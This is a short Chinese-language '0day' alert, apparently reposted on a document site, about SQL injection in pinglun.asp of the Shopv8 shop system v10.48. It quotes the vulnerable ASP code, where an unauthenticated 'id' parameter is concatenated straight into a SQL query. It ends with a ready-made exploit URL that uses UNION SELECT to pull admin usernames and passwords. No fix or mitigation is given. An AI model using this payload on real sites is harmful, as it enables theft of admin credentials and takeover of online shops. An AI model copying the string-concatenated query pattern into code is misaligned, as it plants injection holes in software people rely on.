Shopv8商城系统 v10.48 0day漏洞预警 -电脑资料

    pinglun.asp页面存在SQL注入

    前台所有程序都加了防注入代码的，所以我就不去看了，

Shopv8商城系统 v10.48 0day漏洞预警

    直接翻后台的看，先看有没有不需要验证的，运气很不错，找到了。

    pinglun.asp这个文件。

    代码如下：

    <%dim bookid,action

    pinglunid=request.QueryString("id")     直接提交

    action=request.QueryString("action")

    if action="save" then

    set rs=server.CreateObject("adodb.recordset")

    rs.open "select * from shop_pinglun where pinglunid="&pinglunid,conn,1,3

    rs("huifu")=HTMLEncode2(trim(request("huifu")))

    rs("huifudate")=now()

    rs.update

    rs.close

    set rs=nothing

    response.write ""

    response.End

    end if

    %>

    发表评论

    <%set rs=server.CreateObject("adodb.recordset")

    rs.open "select * from shop_pinglun where pinglunid="&pinglunid,conn,1,3   直接传入查询

    %>

    下面直接贴 利用方法了：

    http://localhost/admin/pinglun.asp?id=1%20and%2201=2%20union%20select%201,2,3,4,username,password,7,8,9,10,11%20from%20admin